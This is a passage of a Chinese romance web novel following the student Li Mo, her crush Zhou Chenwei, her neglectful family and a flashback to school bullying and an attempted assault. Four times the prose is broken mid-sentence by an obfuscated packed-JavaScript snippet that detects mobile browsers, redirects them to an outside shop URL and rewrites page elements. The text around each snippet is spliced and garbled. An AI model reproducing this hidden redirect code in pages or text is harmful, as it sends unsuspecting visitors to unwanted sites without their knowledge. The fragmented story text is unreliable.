经过一个拐角时,两个醉醺醺的男人忽然从另一边蹿了出来。其中一个纹着花臂,唇上还有唇钉;另一个染着一头绿发,脖子上挂着一串骨骼形状的配饰,走起路来叮当作响。 绿头发看见李茉,眼睛瞬间亮了起来:“妹妹,一个人啊?” “我们俩要去前面打牌,你陪我们一起去呗?”纹身男涎着脸凑了过来。 “我......我来找我男朋友,他就住附近。”李茉强忍着内心的不安,尽量平静地扯谎道。 两个男人对视一眼,纹身男哈哈大笑:“啧,谁是你男朋友?刚子?强子?这附近的小年轻我们可都认识,他们就在前面打牌呢,我带你去。” 纹身男话刚说完,就走上前来,试图拉李茉的手。他用的力气大,李茉的手腕瞬间被攥红。 李茉一边反抗着,左手已经悄悄伸进了口袋里,正打算拨110时,一道高大的身影像是凭空出现,紧接着,一道熟悉的声音响起:“放开她。” 周辰纬手里夹着支烟,在黑暗里留下一点猩红。他侧脸和脖子上都有一道打架留下来的淤青,气质看起来很阴沉,完美融进了这深不见底的黑夜中。 纹身男一抬头,看见一张过分俊美的脸,他冷嗤一声,特地露了露上臂的肌肉:“小白脸一个,自己几斤几两不知道,还学人家见义勇为呢?爷爷我最喜欢砍你这种白切鸡。” 纹身男刚放完狠话就握起拳,朝着周辰纬的胃部打了过去。但后者可不是个软柿子,直接把他的拳头攥在了半空中,咔嗒一声,纹身男的关节错了位,痛得他发出了一阵杀猪般的嚎叫。 几秒后,一个赤裸着上身、上半身纹满纹身的壮实男人小跑着过来,对着周辰纬赔笑道: “周少,这两个是我的人,他们不长眼,得罪了嫂子,我替他们赔个罪,” 眼看周辰纬一副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周辰纬静静地看了几秒,终究于心不忍,走到她面前,俯身。 修长的手指渐渐抚上少女娇嫩的脸蛋,他的手指上有长期锻炼带来的薄茧,带来的触感粗砺,李茉脸颊上温热的眼泪渐渐被他用指腹揩掉。 李茉的嘴巴微微张着,神情不由得错愕起来,她抬起眼,和面前的周辰纬对视。 周辰纬或许是看出了她的不自然,下意识转动了一下手指上古朴的银戒。他漆黑的眼眸像一片暗流涌动的海,看着她没什么情绪地说道: “别多想,我只是......最看不得女孩子哭。” 13. 蜜桃 刚才的暧昧氛围因为这一句话烟消云散,晚上十点,李茉打了个车回到了宿舍,洗了个澡就躺在了床上。 她一遍遍回想着少年手指上的薄茧抚摸过脸颊时带来的粗粝触感,最终在回忆里渐渐进入了梦乡。 次日下午,学校的文理楼有一节专为大一新生开的心理健康课,这门课的老师不点名,考试也是开卷,对不少人来说,就成了可以自由摸鱼的水课。 就连从不迟到的李茉,也是踩着上课的点才走到教室。 偌大的教室里,愿意认真听课的人很少,教室里乱哄哄的,大家都在做自己的事。 李茉也拿出了专业课本,温习起了上午的知识。 她看得入迷,没注意到不知从什么时候开始,教室忽然安静了下来。与此同时,一道熟悉的嗓音传来: “大家好,我是这门课的助教。这节课教授不在,由我来担任你们的代课老师。自我介绍一下,我叫陈嘉年。” 李茉抬头望过去,陈嘉年站在讲台后,穿了一件浅灰色的衬衫,长相阴柔俊美,肤色是有些病态的冷白。 由于中年谢顶的教授变成了高大帅气的助教,课堂的氛围瞬间躁动起来,很快就有女生偷偷拿出镜子补起妆。 这节课刚好讲到心理问题的自测与解决。刚一上课,陈嘉年就把一沓厚厚的心理问卷表格给他们发了下去。 趁着众人都在填表,陈嘉年从讲台上走了下来。经过李茉身边时,他步子一顿。 陈嘉年仔仔细细端详了会儿李茉的自测表,什么都没说,又走回了讲台。 下课后,李茉先回了趟宿舍拿了琴包,就独自一人去了二食堂吃饭,吃到一半时,一道高大的身影走到她身旁,耳边响起陈嘉年的声音:“我可以坐这里吗?” “当然可以。”李茉挪开了自己的书包。 由于李茉来得比较晚,食堂荤菜只剩下了一道木须肉,她不喜欢吃木耳,餐盘里的黑木耳被她挑到了一边。 陈嘉年见状笑了笑,用没动过的筷子,动作自然地把木耳夹到了自己碗里。 “我看了你课上填的心理自测表。”过了会儿,陈嘉年忽然开口说:“和上次见面比起来,你的心理状态好了很多,我为你开心。” 陈嘉年是在南宜长大的,他们家和李茉家是邻居,两人也算是青梅竹马。 只不过,陈嘉年上高一那年就和母亲搬去了北禾。他们母子走得太突然也太匆忙,那之后李茉就和他断了联系。 直到三年后,陈嘉年为了做一项社会实践回了趟南宜。那时候的李茉刚经历过一场校园风暴,正处在受伤害后的崩溃时期,沉默寡言,气质甚至变得有些阴郁。 作为从小一起长大的邻家哥哥,陈嘉年敏锐地发现了她身上的变化。 “从一名心理专业学生的角度,我认为你有必要进行一次专业的心理疏导。你相信我,我会带你走出来。”当时的陈嘉年这么对李茉说道。 那个暑假,陈嘉年经常会约李茉吃饭谈心,搜罗各种笑话和好玩的小玩意逗她开心。 虽然收效甚微,但李茉也是打心底里感激他。 毕竟在这个世界上,对她好的人并不多。所以,对接收到的每一份善意,她都会在心里记住很久很久。 ...... 餐桌对面,陈嘉年一脸怜惜地看着她,声音温和:“你之前的经历我也是很久之后才听说,只可惜那个时候我远在北禾,没什么能帮到你的,对不起。” “这件事和你本来也没有关系,学长,都过去了。”李茉释然地笑了笑:“再说了,现在的我也可以把自己保护得很好。” 陈嘉年认真地观察了一番她的表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351456|199613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情,看见她并没有强颜欢笑的迹象,沉吟了几秒,问道: “茉茉,虽然我为你感到开心,但我也有一个疑问。没有药物的干预和专业的心理疏导,你的心理状态是怎么好起来的呢?” “我也说不清楚,”李茉半托着腮,回忆了一会儿:“其实当时我也有过万念俱灰的时刻,可我遇到了一个人。是他让我觉得,这个世界是好的。” 两人并肩走出食堂,在一处岔路口正准备分道扬镳时,迎面竟撞上了并肩而行的费开阳和周辰纬。 “学妹,又见面了。”看到她身边俊美的男生,费开阳八卦的目光在两人之间逡巡:“和男朋友一起吃饭啊?” “不是的,我没有,”李茉心里一急,几乎是不假思索地赶忙解释:“这位是我们心理健康课的助教,是心理专业的一名大三学长,我们是在讨论课上的问题,才一起吃饭的。” 周辰纬的目光从陈嘉年脸上扫过,朝她点了点头:“我们正要去岁宁街的琴行排练,和我们一起过去?” “学校的排练室被预约满了,我们打算打两辆出租,一起去琴行。”费开阳补充道。 “好。”李茉很快答应下来,和陈嘉年道了别。 三人的身影在前方渐行渐远。陈嘉年站在食堂门口,隔着汹涌的人流,眯着眼打量着走在周辰纬身边的李茉。 和两年前比起来,她个子高了些,也长了些肉,整个人都像一颗日臻成熟、饱满多汁的蜜桃,隔着薄薄的一层皮都能看见内里的鲜妍娇美。 她此刻正侧着头和周辰纬说着话,对方不知道对她说了什么,少女脸上绽开了一个罕见的明媚笑容,看他的眼神亮晶晶的,像是盛了一整片璀璨星河。 周辰纬。 陈嘉年在唇畔咀嚼了一遍这个名字。 李茉喜欢的人,就是他吗? 14. 溺毙 李茉跟着周辰纬和费开阳来到学校门口时,乐队的其他人已经都在校门口等着了。 费开阳打了个响指,试图吸引众人注意:“学校离岁宁街的琴行有十来分钟的车程,我们六个人,刚好可以打两辆车,我和向珏坐一辆,谁还愿意和我们一起?” 闻言,李茉下意识地就抬脚往费开阳的方向走,却被陈尚恩一把拉住衣袖:“不要,我想让你陪我。” 陈尚恩在李茉耳边小声嘀咕:“你要是走了,我不是得和他俩坐一车?也不知道郑玉芝攻略到哪一步了,万一周辰纬真被她拿下了,我岂不是得吃一嘴狗粮?” 李茉心里一紧,表面上神色如常:“好,我陪你。” 费开阳一看郑玉芝那黏糊劲就知道她肯定舍不得离开周辰纬身边,他只好“善解人意”地做了安排: “周少,你一个人带着三个妹妹坐一辆车吧,我和向珏骑电驴过去也是可以的。” 临走前,他冲着周辰纬挤眉弄眼,做了个“艳福不浅”的口型。 周辰纬无所谓地笑了一下,直接踹了他一脚。 周辰纬在校门口直接拦了一辆出租车,车子缓缓停下,他拉开车门,径自坐上副驾。 郑玉芝原本紧紧挨着他,想坐在他身边,见此情形也只能不情不愿地去后排坐。 李茉被挤在最左侧的位置上,郑玉芝坐在她和陈尚恩中间。 一路上,郑玉芝的嘴巴就没闲下来过,一直扒拉着前面的周辰纬说话:“周少,你现在和谢明河还有联系吗?” “不熟,也不认识。”周辰纬声音冷淡。 “可我听费开阳说——”瞥见他明显冷了一度的神色,郑玉芝没继续说下去,只是不无遗憾地感叹了句:“还以为能要个谢明河的签名呢。” 周辰纬没接这茬,低头玩起了手机。 郑玉芝显然没接收到这个信号,继续说道:“周少,我这里有两张谢明河的演出门票,就在这周周六,你要不要一起去看?看完演出我们还可以去看电影吃饭。” “听起来是不错,”周辰纬懒懒应道,语气轻慢:“但是抱歉,我完全没兴趣呢。” “......” 周辰纬这个人虽然花,但从来不养鱼,也不会钓着不喜欢的人。 陈尚恩上车后原本闭眼打算睡一会,但郑玉芝一直没话找话,吵得她根本睡不着。她掏出手机,手指在屏幕上激情四溢地敲了一阵。 过了没几秒,李茉的手机忽地震动了好几下。 她打开一看,原来是陈尚恩给她连发了好几条消息吐槽。 【郑玉芝能不能别没话找话了啊,我都替她尴尬。】 【小狗翻白眼.JPG】 【我的脚趾快抠出一座巴啦啦小城堡了。】 李茉犹豫了下,还是在对话框里打出了自己想说的:【可我觉得......喜欢一个人能主动表达,她至少是个有勇气的人。】 陈尚恩在她这句话里嗅出了八卦的味道,追问:【我怎么感觉你这句话酸酸的?难不成你有偷偷暗恋的人?】 李茉很淡地地笑了下,没再回复这条消息。 她按灭了手机屏,看着窗外一闪而过的风景,心里泛起一阵苦涩的涟漪。 她讨厌自己像个胆小鬼,明明那么热烈地喜欢着一个人,却只敢始终隐在暗处,把那份情愫全埋藏进心底。 李茉心里不是没生出过表白的想法,可一旦表白失败,两人怕是连朋友都没得做了。 现在这样也挺好的,至少有很多和他相处的机会,李茉在心里默默想着。 学校里岁宁街不远,就算路上有点堵车,二十分钟后也到了琴行门口。 下了车,陈尚恩挽起李茉的手臂,和她偷偷咬耳朵:“你喜欢的人是谁?我认识吗?” “我没有喜欢的人。”李茉否认得很快。 “不说是吧,看我怎么收拾你。”陈尚恩开始在她身上的敏感位置挠痒痒。 李茉最怕痒也最敏感,只好边跑边躲,跑进琴行的小院时,她没注意看路,被小院的门槛绊了一下。 就在她即将跌倒在地上时,有人接住了她,李茉也直直栽进了那人的怀里。 周辰纬的胸膛很硬,像一堵坚实的墙,肌肉贲张,散发着炙热气息。 他的身型修长,整体看也是偏瘦的,可他浑身的肌肉又很坚实有力,是李茉没有意料到的、很奇妙的反差感。 李茉不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她好像又为自己的心动,找到了坚持下来的理由。 15. 电影 排练结束后,众人一起打车回了学校。李茉回到宿舍的时候,两个室友还没回来,宿舍里只有她一个人。 人在独处的时候,心底的渴望和思念会无限发酵。李茉坐在自己的座位上,点进和周辰纬的对话框,一条条地浏览着。 他们两个自从加上好友之后就没怎么聊过天,绝大多数对话都是公事公办的语气,可李茉还是因为能和他搭上话而感受到了一阵甜蜜。 她正专注地盯着手机,连宿舍门被打开了都没发觉,直到被小贝一把抱住,她才手忙脚乱地关了手机屏幕。 小贝的脸颊红扑扑的,整个人都很激动,声音也因为兴奋变了调:“茉茉,我脱单了。” “恭喜恭喜,是那个开学帮你提行李的学长吗?”李茉问。 李茉是知道的,小贝从开学时就看上了法学院的一个叫路航的学长。为了追这个学长,小贝还特地进了学生会的体育部,成为他的下属。 “对,就是他,”小贝用手背给脸颊降了降温,雀跃地说道:“他傍晚的时候向我表白了,我太喜欢他了,没法不答应。” “茉茉,他周末约我看电影,你能不能陪我一起去?我不想第一次约会就去电影院这么暧昧的地方,所以和他说过了,要带一个室友一起。”小贝求道。 “可以。”李茉没拒绝,笑眯眯地答应下来。 次日,为了衬托小贝,李茉简单收拾了一下就出了门,因为连着熬了几个大夜,她面色有些憔悴,眼里还能清楚地看到红血丝。 小贝的新晋男友叫路航,是法学院的一名大二学长。由于小贝带了室友,路航也表示会带一个朋友一起来。 李茉和小贝在影院随意找了个位置坐下,两人正对着手机挑选过会儿要看的电影,忽地,两道高大身影在她们面前站定,一双限量发售的帆布鞋出现在了视野里。 李茉抬头看了一眼,心跳就骤然加速,她怎么都想不到,路航带来的朋友,竟然是周辰纬。 “我给你们介绍一下,他叫周辰纬,是我的室友,和我同级,计算机学院的。”路航抱着两桶刚买好的爆米花说道。 路航把其中一桶交给周辰纬,后者接了过去,修长的手指捻了两粒递到李茉嘴边:“吃吧,不用拘谨。” 李茉捂着嘴,小口小口把这两粒爆米花吞了下去,爆米花上的焦糖甜丝丝的,一直甜进了她心里。 她吃过的甜度最高的糖果,好像都没有周辰纬喂给她的爆米花甜。 电影票是路航负责买的,由于和小贝谈恋爱后,他一直没找到一亲芳泽的机会,所以买电影票的时候,路航耍了心眼,特地把自己和小贝的票买在了最后一排,另外两人的座位则在第三排的边角。 就这样,四人只能分开坐。 由于昨天写论文熬了大夜的缘故,李茉原本就困得不行,再加上电影院这种幽暗的环境又最适合睡觉,电影还没开场,李茉就闭上眼睛进入了梦乡。 李茉睁开眼的时候,电影已经播了三分之一,她揉了揉惺忪的睡眼,意识正混沌着,耳畔传来周辰纬的声音:“你醒了?” “最近没睡好,因为要写论文。”李茉简短地解释了一下。 李茉和周辰纬前面坐着的是一对情侣,这对情侣正抱在一起交颈亲吻,时不时发出津液交换的咂咂声。 两人交颈相缠的画面尽数传进了李茉的眼睛里,她的耳朵瞬间一红,脸颊也热得不行。 只是,这份脸红到底是因为前面的情侣,还是因为和周辰纬一起看电影,她也分不清。 好在,电影院的整体环境偏幽暗,这一片心动的证据也被隐匿在黑暗中。 忽地,周辰纬像是看出了她的窘迫,一只骨节分明的手覆在了她眼睛上面,李茉眼前瞬间变成漆黑一片。 与此同时,他特有的低哑磁性的嗓音传来:“害羞就不要看。” 周辰纬对李茉的语气很温柔,对前面的男生就没有这么客气了。他拧着好看的眉毛,拍了拍前面男生的肩膀,提醒道:“哥们,这公共场合,不是酒店的大床房,实在忍不住就去开个房间。” 男生烦躁地扭头,张嘴正想开骂,看见周辰纬这张脸,从他周身的气质判断出这不是个好惹的人物,也只好陪着笑点头答应。 随着季节的更替嬗变,北禾天黑得越来越早,几人看完电影走出影院时,外面的天色已经全然转黑。 “我们去一起吃顿饭再回去吧,我知道附近有家魔鬼辣的冒菜店。”路航提议道。 小贝正打算说什么,周辰纬已经开了口:“今天吃点清淡的,我不能吃辣。” “你还不能吃辣?”路航不甘心地小声嘀咕:“你可是魔鬼椒都能面不改色吃完的选手。”路 但他的反对没有用,几人最终去了附近的一家火锅店,点了鸳鸯锅。 点的菜快吃完时,周辰纬出去接了个电话。小贝打量了两眼他离开的背影,托着腮看向对面的路航: “我真没想到,周辰纬居然是你的室友诶,法学院那些女生天天凑一起讲他的八卦。我听说他谈过不少女朋友,这事儿真的假的?” “当然是真的,”路航眉飞色舞地夸张道:“他有一个外号叫‘芳心粉碎机’你们知不知道?从大一入学到现在,追他的女生就没断过。而且他对每任女友都挺大方,所以那些妹子,分手了都对他念念不忘的大有人在。” 李茉夹着丸子的手顿了顿,神色一怔。 周辰纬就是这样的人,他生来就什么都不缺,拥有很多很多钱,也收获了很多很多人的爱,像云端上的一束光,光芒灼眼。 所以,总有扑火的飞蛾,不要命地纵身一跃,也想去到他身边。 “那他谈了这么多恋爱,成绩应该不是很好吧?”小贝随口问了一句。 “并不是,人家连着两年的GPA都排全院前三,只不过他身上的光环都被那些半真半假的绯闻埋没了,”路航不由得叹道:“有些人就是生在罗马还比你聪明比你努力,关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351458|199613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 键是人家还长得这么帅。哎,见了他之后我才知道,人与人的差距比人与狗都大。” 李茉托着腮默默地听着,忽地,小贝拉了拉她的衣角,在她耳边小声说: “茉茉,我吃了辣胃不太舒服,你能不能帮我去旁边的零食店买瓶牛奶,钱我已经转你了。” 小贝是北禾本地人,口味轻,一点辣都吃不得,但她为了不让路航一个人尴尬,愣是硬着头皮陪他一起吃辣锅。 李茉看了眼她苍白的神色,叹了口气说道:“如果附近有药店,我再帮你买一板胃药。” “好,最爱你啦。”小贝冲她比了个心。 李茉拍了拍她的肩膀,拿起手机出了门。 小贝口中说的零食店离火锅店只有三十多米的距离,穿过一条窄巷就能到。 北禾入了冬天黑得很早,才八点,夜幕就把大地全然笼罩。 窄巷入口的路灯似乎坏了,两侧的居民楼都是破败的老楼,这地儿昏暗又偏僻,莫名有点阴森的感觉。 李茉心里虽然发怵,但这条是去零食店最近的路了,她只能低着头快步往里走。 忽地,前面出现了一点猩红,巷子中段的一盏昏黄路灯下,有男人正在抽烟打电话。他戴着耳机,白色的耳机线垂到外套口袋里。 李茉定睛一看,竟然是周辰纬。 电话那头的人不知道说了什么,他好看的眉毛紧紧拧着,浑身气息冷厉,连声音也像没有温度的冰棱。 李茉从他口中听到了“侦探”“车祸”之类的字眼,涉及到别人的私事,她并不想听,顿了一下就转身往回走。 即将走出巷口时,一道漆黑的影子压了下来。李茉回头一看,是周辰纬。 他好看的眉毛蹙着,眉宇间倦怠和不耐的情绪浓烈,一双没有半点情绪的眼睛冷冷盯着她:“你怎么到这里来了?” “我......” 没等她说出什么,周辰纬已慢慢朝她俯身,视线带着审视与思量,一张棱角分明的脸离她越来越近。 这种姿势明明是暧昧的,可他的眼神冰冷无比,骇人得可怕。 他凑近她耳边,薄唇翕动,语气似乎是无波无澜的冰冷:“你是在偷听?” “对不起,我只是刚好经过,听不清你说了什么。”李茉吸了口气,艰难开口,声音已经不自觉地染上了一丝哽咽。 小姑娘眼神里明显闪过慌乱,脸颊也因为羞赧和窘然变得涨红,她眼眶里蓄满了氤氲水汽,眼泪将落未落的,看得周辰纬心脏莫名一窒。 “我正在说一些......不想被外人知道的事,所以反应有些大,”周辰纬伸出修长如玉的手指,用指腹轻轻揩掉她的眼泪:“要说对不起的是我。” 李茉没再说什么,想起小贝的请求,抬脚就往巷尾走去。 周辰纬看着她的背影沉默了一瞬,最后他还是追了上去,妥协般地问了一个问题: “李茉,你是不是......很怕我?” 16. 吃糖 “没有。”李茉简单留下两个字就落荒而逃,她怕自己会在他面前失态地哭出来。 晚上九点,李茉回到宿舍,感到小腹一阵坠痛。 她体质偏寒,每次来月经都痛得死去活来,吞止痛药都不怎么管用。这一次也不例外。 她去卫生间匆匆处理了一下就打算洗漱睡觉了。忽地,放在床边的手机猛然震动了起来,她掏出手机看了一眼,发现屏幕上有好几个未接电话。 都是母亲蒋惠娟打来的。 李茉翻身下了床,去了宿舍的阳台上。 电话刚接通,蒋惠娟有些尖利的声音就传进耳朵:“你很忙吗?怎么这么久不接电话?” “妈,我刚才在外面,手机没电,自动关机了。”李茉耐着性子解释。 “哦,”蒋惠娟对她的事情漠不关心,沉默了两秒后就开门见山:“你手头上还有多少钱?” “我暑假兼职的钱差不多花完了,学费和住宿费都是我自己交的,还有生活费。”李茉语气平静。 “耀楣不知道怎么招惹到了附近的小混混,打起架来,把别人打进了医院,”蒋惠娟的声音里有恨铁不成钢的无奈:“对方的父母狮子大开口要八万医药费,不然就让耀楣进去坐牢。” 李茉安静地听着,并没接话。月光倾洒下来,照亮了她冷若冰霜的脸,她的眼神很冷,冷得没有几分温情。 她弟弟李耀楣高中只上到一半就说什么都不肯再去上学了,现在正在家里蹲着,是一名游手好闲的无业游民。 李茉知道按李耀楣那个好高骛远、又冲动易怒的性格,注定消停不了。只是她也没想到,李耀楣一时手快,整个家庭会为他付出这么大的代价。 “你爸的厂子效益不好,已经三个多月没发工资了。家里每个月都要还房贷和店面租金,根本就没多少余钱......”蒋惠娟叹了口气:“哎,我和你爸实在没办法了,不然也不会对你开这个口。你爸这几天拉下老脸找亲戚朋友借了一圈,一半都没凑够。你也知道,他那个人骄傲了半辈子,这也是实在没办法了。” 听到最后一句话,李茉眼里终于起了波澜。 挂断电话后,她思索了一会儿,还是给蒋惠娟转了四千块钱过去。 高考结束后,由于成绩优秀,她被本地一个教育机构聘请做了两个多月的老师,赚够了大一整年的学费和生活费。 但给蒋惠娟转完账之后,她身上就只剩下两百块了。 李茉低低叹了口气,不知道为什么,这一刻,她心里充满了委屈。 一滴晶莹的泪珠出现在眼角,李茉抬手试图揩去,眼眶里却蓄了更多泪水。她用冰冷的自来水洗了把脸,就上了床。 当晚,不知道是不是睡前哭过的缘故,李茉这一觉睡得并不安生。梦里,她反复回想起了一些过去的记忆片段。 三年前,李茉作为小镇的中考状元,收到了本省省会z城好几所知名高中的入学邀请,她最终却选择了嘉辰私立高中。 原因无他,嘉辰不仅对特招生免除学杂费及住宿费,期中及期末考试名列前茅的优秀学生还能得到一笔不菲的奖学金。 李茉从小就是个懂事的小孩,知道父母的不易,也想赚点钱分担他们的辛苦。 蒋惠娟的腰间长了根骨刺,每逢阴天,都痛得几乎站不直。 可南宜这个江南小镇,一年中多数的时间都下着绵绵小雨,石板路上长着密密的青苔。 李茉不忍心她忍受这份痛苦,想用自己的奖学金给她买台按摩仪。 虽然自李耀楣出生后,她在家里就几乎成了个隐形的透明人,但对于十五岁的少女来说,她还是打心底里无比渴望获得家人的肯定。 她也确实做到了。 高一那一年,李茉蝉联了一整年的年级第一,也收到了学校打来的几万块奖学金。 除去吃饭买书的必要消费,剩下的钱她全都给蒋惠娟打了过去。 蒋惠娟拿到钱后,拖了许久也没舍得给自己买按摩仪,反而是李耀楣忽然上身了最新款的球鞋和那年最流行的手机。 李茉那个时候才悲哀又无奈地发现,蒋惠娟对李耀楣的母爱无疑是伟大的,只是终其一生,她都没有享受这份伟大的资格。 两年前的一个雨天,放学后,天色渐暗,李茉在放学路上被两男一女堵在了一条狭窄闷仄的巷子里。 同班同学何雅洁捏住她的下巴,语气阴狠: “看见你这张脸我就倒胃口。让你装!在学长面前不是很会装清纯吗?你说......要是我让你变成了人尽可夫的表子,你还装不装得下去?” 何雅洁是学校里出名的大姐大,听说她认了社会上的人做干哥哥,有了这个靠山,她在学校里坏事做尽,没少欺负其他同学。 李茉不知道自己是怎么被何雅洁盯上的,只知道,从两个月前开始,何雅洁就和另一个名叫邹佳茹的女生一起,开始了对她旷日持久的霸凌。 这两个月以来,李茉一直生活在惶恐和黑暗之中。 她只是出一趟教室门,回来的时候桌上的课本和笔记本就会四分五裂;在食堂吃个饭,碗筷就被人故意碰倒,汤汁溅在身上。 印象最深刻的一次,是她好端端地走在教学楼下面,正在脑中思考一道数学题,忽地,上方泼下来一盆教室里的垃圾,有水果皮、也有没喝完的牛奶,浓稠腥臭。 走廊上的一些投来或兴奋或疑惑的眼神,他们欣赏着她的尴尬和狼狈,她没在任何人的眼神里看到同情和善意的东西。 她不是没试图寻求家里人的帮助,但母亲蒋惠娟和弟弟李耀楣都是冷眼旁观的态度。 李茉至今还记得蒋惠娟在饭桌上教育她的那句话:“她们为什么不欺负别人,单单欺负你?你要找一下自己的问题。” 她实在没办法,又去找了老师。但由于何雅洁的父亲有钱有势,有强大深厚的背景,班主任对她们做做口头教育后就把此事轻轻揭过。 发现自己的恶行没有受到任何惩罚后,几个霸凌者的行为不仅没有丝毫收敛,反而开始变本加厉。 尤其是何雅洁,她已然不满足于那些小打小闹,开始谋划更恶毒的计划。 李茉从她看自己的眼神里面本能地感受到了危险,于是那天她去学校,特地在口袋里揣了一把弹簧刀。 何雅洁的干哥哥染着红毛,眉心还有道很长的疤,一看就是混社会的小痞子。 看见默默流着眼泪的李茉,他眼神兴奋地搓了搓手,一脸的垂涎之色。 就算少女穿着的是一件宽大且不合身的校服,可他阅花无数,仍然能看得出校服下面的那具身体是多么玲珑曼妙。 他的目光转移到少女那张唇红肤白的脸上。杏眼,黛眉,秀气的鼻和唇,皮肤白得像块玉。 小小年纪,就已经是个美人胚子了。 红毛嘿嘿一笑,一把扯掉了她领口的纽扣,大片白皙晃到了他的眼。 李茉不受控制地尖叫起来,但这条小巷偏远昏暗,平时就人迹罕至,她的尖叫得不到任何回应。 她拼命地在几人的桎梏下挣扎着、喊叫着,同时,右手已经摸到了口袋里的弹簧刀。 与其被人折辱沉堕,不如就此同归于尽。 她不怕从此被打上罪犯的标签,只怕不能拉着这几个人一起下地狱。 忽地,从巷口传来了一道冷淡的声音:“喂,放开她。” 红毛抬眼,看着向他们走过来的陌生男生,咧嘴露出个放肆的笑:“你是什么人?一个人就敢过来管老子的闲事?胆儿够肥啊。” “我?”男生唇角轻轻勾起,眼中尽是轻蔑,慢条斯理地开了口:“我是她哥,你也配对我妹动手,胆儿够肥啊。” 他话音还没落,就揪起红毛的衣领,往他胃部狠狠打了一拳。 红毛当即发出了一声痛苦的呻吟,他还想反抗,却在绝对的力量压制下败下阵来。 期间,何雅洁还想帮忙,却被他毫不收力地一把推开。她整个人被撞到粗糙的墙面上,额头瞬间鼓起了一个大包。 男生以一敌三却丝毫不落下风,砍瓜切菜般打跑了几个刚才还不可一世的几个男女,还在他们落荒而逃之前,满含戾气地留了句话。 “垃圾,以后再敢对我妹动手,看我收不收拾你就完事了。” 李茉有些怔愣地顿在了原地。她衣领的纽扣被红毛扯掉了,不知所踪,一阵猛烈的晚风刮过,从被扯坏的领口往身体里钻,她不由得打了个寒颤。 她的小动作被男生尽收眼底,犹豫须臾,男生的视线不着痕迹地从她领口掠过,顷刻后,他脱下了身上的外套,动作轻柔地披在她身上。 “短时间内他们应该不敢对你动手了。下次他们再敢这样,你就直接报警,知道了么?”男生懒懒散散的声音在她耳边响起。 李茉低下头,大颗大颗的眼泪吧哒吧哒地掉在了地上。 垂下来的乌黑的头发挡住了她一半的侧脸,男生虽然看不清她掉眼泪的模样,但她抽泣的声音和吸鼻子的声音都清晰可闻,他还是马上察觉到了。 这女生在哭,还哭得挺伤心。 “别哭了呗。”男生无奈地抓了把头发,他没有多少哄女孩子的经验,只能干巴巴地开口:“哭有什么用啊,难道你掉几滴眼泪,他们就不对你动手了么?要不是我刚好经过——” 就这么劝了几句后,女生的眼泪不仅没止住,还越流越欢了。 “......” “我说——别哭了。”男生的语气隐隐有了不耐。 下一秒,他修长的手指捻着什么东西,塞进了她嘴里。 舌尖的触感很凉,李茉本能地舔了一下,一股甜意在舌尖蔓延开来。 原来他给了她一颗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351459|199613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水果糖。 陌生的甜意流入喉咙,像久旱逢霖,可那一刻李茉哭得更凶了。 这几个多月地狱般的生活里,她受够了同学的冷眼旁观、老师的漠视、对家人的有口难言,她以为这个世界上,没有人会选择站在她那边。 在那片好似无边无际的黑暗中,她唯一感受到的一点温暖和甜意,竟然来自一个素未谋面的少年。 内心的涩意猛烈汹涌,她哭得就快喘不过气来。 “真是败给你了,”男生烦躁地抓了把头发,看见少女哭得通红的鼻尖,心底又不自觉软和了下来:“哎,算了,这是我的□□,你加一下。下次他们再找你麻烦,你记得联系我,我有个朋友也是南宜的。” 李茉就这样拥有了他的联系方式,只是那时候,她连他叫什么名字都不知道。 分道扬镳之前,男生抓了抓口袋,又掏出两颗同品牌不同口味的水果糖放到她手里:“喂。” 他凝望着她,表情认真:“心情不好的时候,就吃颗糖吧。” ...... 有了那个不知道哪里冒出来的“哥哥”后,何雅洁对她有了忌惮,在学校里也再没做过过分的举动。 不久后,风言风语传到了何父的耳朵里,在他强硬的态度下,何雅洁不得已转了学。 没了何雅洁这个靠山,邹佳茹也收敛了许多。 曾经的一切惶然、不安、惊惧似乎都随风弥散,李茉又回归了正常的高中生活,成了一名普普通通的高中女生。 